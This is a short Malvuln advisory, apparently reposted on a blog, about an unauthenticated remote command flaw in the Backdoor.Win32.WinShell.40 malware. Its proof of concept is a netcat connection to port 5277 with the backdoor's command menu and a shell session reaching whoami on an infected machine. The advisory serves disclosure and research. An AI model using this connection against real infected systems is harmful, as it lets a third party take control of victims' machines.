Wednesday, July 28, 2021

Backdoor.Win32.WinShell.40 Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c98e23742807f3cb5a095f34e0eb0e52.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.40
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected machine.
Type: PE32
MD5: c98e23742807f3cb5a095f34e0eb0e52
Vuln ID: MVID-2021-0310
Disclosure: 07/27/2021

Exploit/PoC:
nc64.exe x.x.x.x 5277

WinShell v4.0
(C)2001 by janker
http://www.bugsos.com

? for help
CMD>?

i Install
u Uninstall
w Where
r Reboot
p Poweroff
q Quit
e End
s Shell
url download

? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim

C:\Users\Victim\Desktop>


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Thanks for everything Templateism - You should have written the code a little more complicated